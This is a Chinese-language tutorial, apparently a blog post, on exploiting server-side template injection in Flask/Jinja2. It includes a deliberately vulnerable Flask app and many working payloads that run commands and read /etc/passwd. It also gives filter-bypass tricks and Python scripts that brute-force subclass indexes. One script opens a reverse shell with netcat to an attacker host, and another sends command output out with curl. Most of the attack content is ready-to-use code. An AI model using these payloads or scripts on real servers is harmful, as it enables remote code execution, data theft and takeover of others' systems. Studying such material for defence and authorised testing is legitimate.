模板注入漏洞---python
1、SSTI
python模板注入也就是SSTI(Server Side Template Injection,服务器端模板注入)攻击者在web中插入payload,服务器进行接收,在编译渲染的过程中把payload进行了拼接,把攻击者的恶意内容执行出来。导致了信息泄露、代码执行、GetShell等问题。
注意:模板引擎和渲染函数本身是没有漏洞的,漏洞产生原因在于模板可控引发代码注入
2、各语言框架SSTI
- PHP:smarty、twig
- Python:jinja2、mako、tornad、Django
- java:Thymeleaf、jade、velocity、FreeMarker
3、关于Python类的调用
不同的类
Python类型 | 作用 |
---|---|
class | 类的一个内置属性,表示实例对象的类 |
base | 类型对象的直接基类 |
bases | 类型对象的全部基类,以元组形式,类型的实例通常没有属性 |
mro | method resolution order,即解析方法调用的顺序;此属性是由类组成的元组,在方法解析期间会基于它来查找基类。 |
subclasses() | 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。 |
init | 初始化类,返回的类型是function |
globals | 使用方式是 函数名.globals获取function所处空间下可使用的module、方法以及所有变量。 |
dic | 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的dic\t里 |
getattribute() | 实例、类、函数都具有的getattribute魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用getattribute方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。 |
getitem() | 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.getitem('b') |
builtins | 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。builtins与builtin的区别就不放了,百度都有。 |
import | 动态加载类和函数,也就是导入模块,经常用于导入os模块,import('os').popen('ls').read()] |
str() | 返回描写这个对象的字符串,可以理解成就是打印出来。 |
url_for | flask的一个方法,可以用于得到builtins,而且url_for.globals['builtins']含有current_app。 |
get_flashed_messages | flask的一个方法,可以用于得到builtins,而且get_flashed_messages.globals['builtins']含有current_app。 |
lipsum | flask的一个方法,可以用于得到builtins,而且lipsum.globals含有os模块:{{lipsum.globals['os'].popen('ls').read()}} |
current_app | 应用上下文,一个全局变量。 |
request | 可以用于获取字符串来绕过一些过滤 |
request.args.x1 | get传参 |
request.values.x1 | 所有参数 |
request.cookies | cookies参数 |
request.headers | 请求头参数 |
request.form.x1 | post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) |
request.data | post传参 (Content-Type:a/b) |
request.json | post传json (Content-Type: application/json) |
config | 当前application的所有配置。此外,也可以这样{{ config.class.init.globals['os'].popen('ls').read() }} |
g | {{g}}得到<flask.g of 'flask_ssti'> |
过滤器
过滤器 | 作用 |
---|---|
length() | 获取一个序列号或者字典的长度并将其返回 |
int() | 将值转化为int类型 |
float() | 将值转化为float类型 |
lower() | 将字符串转换为小写 |
upper() | 将字符串转换为大写 |
reverse() | 反转字符串 |
replace(value,old,new) | 将value中的old替换为new |
list() | 将变量转换为表类型 |
string() | 将变量转换为字符串类型 |
join() | 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用 |
attr() | 获取对象的属性 |
4、python----SSTI
flask内置函数
- lipsum 可加载第三方库
- url_for 可返回url路径
- get_flasked_message 可获取消息
flask内置对象
- cycler
- joiner
- namespace
- config
- request
- session
形成代码
from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', default='yue')
t = '''
<html>
<h1>hello %s</h1>
</html>
''' % (name)
return render_template_string(t)
my_app.run()
// 在render_template_string()渲染中执行出代码的运行结果
SSTI利用
- 看那些类可用
{{''.__class__.__base__.__subclasses__()}}
- 找利用类索引
<class 'os._wrap_close'>
- 找利用类方法
{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__}}
就会输出一些os的方法了
这里就可以构造payload了,比如{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__.popen('ls').read()}} {{[].__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls')}} {{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
其他引用
config:{{config.__class__.__init__.__globals__['os'].popen('calc')}}
url_for:{{url_for.__globals__.os.popen('calc')}}
lipsum:{{lipsum.__globals__['os'].popen('calc')}}
get_flashed_messages:{{get_flashed_messages.__globals__['os'].popen('calc')}}
- 文件读取
查找子类<class'_frozen_importlib_external.FileLoader'> {{''.__class__.__base__.__subclasses__()[94]["get_data"](0, "/etc/passwd")}}
- 内建函数eval执行命令
{{''.__class__.__base__.__subclasses__()[数字].__init__.__globals__["__builtins__"]['eval']("__import__('os').popen('ls').read()")}
- os模块执行命令
- importlib类执行命令
{{''.__class__.__base__.__subclasses__()[数字]["load_module"]("os")["popen"]("ls").read()}}
- linecache函数执行命令
{{''.__class__.__base__.__subclasses__()[数字].__init__.__globals__['linecache']['os'].popen("ls").read()}}
- subclasses.Popen类执行命令
{{[].__class__.__base__.__subclasses__()[数字]('ls /'shell=Ture,stdout=-1).communicate()[0].strip()}}
绕过
- 绕过双大括号
思路:判断语句能不能执行{% if 2>1 %}yes{%endif%} //输出yes {% if ''.__class__ %}yes{%endif%} //输出yes,表示class里面有内容 {% if ''.__class__.__base__.subclasses__()[数字].__init__.__globals__['popen']('ls').read()%}yes{%endif%} //输出yes 说明命令正常 {% print(''.__class__.__base__.subclasses__()[数字].__init__.__globals__['popen']('ls').read())%}
脚本
import requests def Popen(): url = "" # 写入测试的url for i in range(300): try: data = {"": "{% if ''.__class__.__base__.__subclasses__.()[" + str( i) + "].__init__.globals['popen']('cat /etc/passwd').read()%}yes{%endif%}}"} response = requests.post(url, data=data) if response.status_code == 200: if "yes" in response.text: print(i, "--->", data) break except: pass if __name__ == '__main__': Popen()
- 无回显----SSTI盲注
反弹shell
通过rce反弹一个shell出来绕过无回显的页面
脚本def shell(): url = "" # 目标地址 for i in range(300): try: # 记得添加你的参数 data = {"参数": "{% if ''.__class__.__base__.__subclasses__.()[" + str( i) + "].__init__.globals['popen']('netcat 你的主机地址 -e/bin/bash') .read()%}yes{%endif%}}"} response = requests.post(url, data=data) except: pass
- 带外注入
通过requestbin或dnslog的方式将信息传到外界
脚本def shell(): url = "" # 目标地址 for i in range(300): try: # 记得添加你的参数 data = {"参数": "{% if ''.__class__.__base__.__subclasses__.() [" + str(i) + "].__init__.globals['popen']('curl url/`ls`') .read()%}yes{%endif%}}"} response = requests.post(url, data=data) except: pass
- 绕过中括号
__getitem__()
魔术方法
字典使用:传入字符串返回相应的键所对应的值
列表使用:输入整数返回相应列表的索引值
payload:{{''.__class__.__base__.__subclasses__().__getitem__(数字).__init__.__globals__.__getitem__('popen')('ls').read()}}
- request绕过单双引号的过滤
- 过滤器绕过下划线过滤
过滤器通过管道符号(|)与变量链接,并且在括号中可能有可选参数
{{''|attr(request.args.x)|attr(request.args.x1)|attr(request.args.x2)()}}&x=__class__&x1=__base__&x2=__subclasses__
- 编码绕过:union编码、16进制编码、base64编码、格式化字符串
- 中括号过滤,点过滤
[]是可以代替点的
{{''['__class__']['__base__']['__subclasses__']()}}
- 关键字绕过
1.字符编码 2.最简单的拼接"+":'__cl'+'ass__' 3.使用Jinjia2的"~"进行拼接:{%set a="__cla"%}{%set b="ss__"%}{{a~b}} 4.使用过滤器(reverse反转、replace替换、join拼接等) {%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}} {%set a=['__cla','ss__']|join%}{{()[a]}} 5.利用python的char(): {%set chr=url_for.__globals__['__builtins__'].chr%}{''[char(95)+...]} 从内置的函数里面获取ASCII解码功能,并赋值给变量chr
- 绕过数字过滤器
使用length过滤器 使用count统计 {%set a=dict(aaaaaaaaa=a)|join|count%} //得到9 {%set b=a+a%} //得到18
- 需要获取config文件,又被过滤了config单词
{{url_for.__globals__['current_app'].config}} {{get_flashed_messages.__globals__['current_app'].config}}
- 混合过滤绕过
1.dict()和join {%set a=dict(__cla=1,ss__=2)|join%}{{a}} 2.获取符号 利用flask内置函数和对象获取符号 {%set a=({}|select()|string())|list%}{{a[数字]}} //获取下划线 {%set b=(self|string())[数值]%}{{b}} //获取空格 {%set c=(app.__doc__|string)%}{{c}} //获取百分号
Comments NOTHING